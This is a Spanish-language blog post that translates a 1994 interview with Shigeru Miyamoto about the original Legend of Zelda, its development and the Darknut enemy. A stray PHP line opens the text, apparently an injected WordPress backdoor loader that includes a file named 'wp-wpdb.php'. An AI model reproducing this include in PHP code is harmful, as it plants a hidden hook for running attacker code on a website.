if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); [30 aniversario de Zelda] Entrevista a Miyamoto de 1994 – La Fortaleza de LeChuck

[30 aniversario de Zelda] Entrevista a Miyamoto de 1994

Ayer, 21 de febrero de 2016, The Legend of Zelda (Zeruda no Densetsu) cumplió 30 años desde su lanzamiento en Famicom Disk System. En todos estos años, la saga Zelda se ha convertido en una de las más queridas, y tanto niños como adultos siguen disfrutando de las aventuras de Link por Hyrule. Para celebrar el 30 aniversario de The Legend of Zelda, hemos traducido una pequeña entrevista a Miyamoto del año 1994 donde recuerda detalles del primer Zelda.

zelda-30-aniversario

Me encanta leer entrevistas antiguas de los diseñadores porque tienen más frescos los detalles de desarrollo y las anécdotas de sus juegos. En esta ocasión he traducido la entrevista a Miyamoto aparecida en el CD “Legend of Zelda: Sound and Drama” de 1994. Aquí la tenéis:

Por favor, háblanos sobre el lanzamiento de The Legend of Zelda.

Comenzamos a desarrollar el juego como un título de lanzamiento para Famicom Disk System en 1984. Poco antes de eso, comenzamos a desarrollar Super Mario Bros., así que hubo un período de unos 5 a 7 meses donde se trabajó en ambos juegos al mismo tiempo. En consecuencia, la etapa de diseño fue muy ajetreada.

zelda Famicom Disk

¿Qué cosas te costaron más esfuerzo durante el desarrollo de The Legend de Zelda?

Teníamos un montón de nuevas ideas sobre cómo aprovechar al máximo las nuevas capacidades del Disk System: un sistema de entrada de nombre, usar mejor la música, grabar el progreso del jugador, y así sucesivamente. En ese sentido era un juego muy divertido para crear. La otra cara de hacer algo nuevo, sin embargo, es que estábamos muy preocupados de si los jugadores entenderían lo que tenían de hacer (al igual que el miedo de Nakamura cuando Dragon Quest fue lanzado por primera vez). Una vez que decidimos que habrían misterios y puzles en Zelda, esto nos provocó una gran inquietud también. Algunos de los puzzles son bastante difíciles de resolver.

Dado que estábamos trabajando en Super Mario al mismo tiempo, una vez que Mario estuvo terminado, cogimos los programadores de Mario y los incorporamos en Zelda en un sprint final de programación. Fue muy duro.

Miyamoto - Zelda

Teniendo en cuenta la saga Zelda en su conjunto, ¿qué temas tratas de transmitir?
Un niño todos los días se ve arrastrado en una serie de situaciones increíbles y crece hasta convertirse en un héroe. Dentro de ese marco, quería crear un juego donde el jugador pudiera experimentar la sensación de exploración a medida que viaja por el mundo, familiarizándose con la historia de la región y el mundo natural que habita. Eso se refleja en el título: «The Legend of ____»

Los juegos de aventuras y RPGs son juegos en los que avanzas en la historia a través del diálogo, pero queríamos que los jugadores experimentaran realmente la sensación física de usar un mando y mover al personaje a través del mundo. Queríamos mazmorras explorables con un sistema de mapeo simple. Estas y otras ideas eran lo que queríamos probar dentro de Zelda. Estos temas también se trasladaron a A Link to the Past.

De todos los personajes de Zelda, ¿cuál es tu favorito?

Tengo muchos favoritos, pero me gusta mucho el soldado Darknut, tanto por su nombre como por la forma en que fue programado. En el juego original, se enfrenta a Link con su escudo y puede cambiar su velocidad. Para su tiempo, tenía un comportamiento muy elaborado. En el nuevo Zelda de Super Famicom, mira a su alrededor para buscar a Link mientras patrulla, y hasta que Link no entra dentro de su área de su visión, sigue caminando, pero si Link hace un sonido con la espada Darknut se gira repentinamente en su dirección para investigar… Es un enemigo con un comportamiento muy complejo. Debido a esto, por cierto, hemos tenido que trabajar duro para asegurar de que no habían demasiados Darknuts en pantalla a la vez, ya que podría ser desesperante.

Zelda - Darknuts
Por favor, deja un mensaje final a tus fans.

Tenemos la intención de seguir haciendo juegos de exploración y aventuras con Link y Zelda. Espero que disfrutéis de las aventuras a través de este mundo virtual con vuestro alter ego, Link.

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Esto ha sido todo, si queréis leer otras entrevistas están recogidas bajo la etiqueta entrevista.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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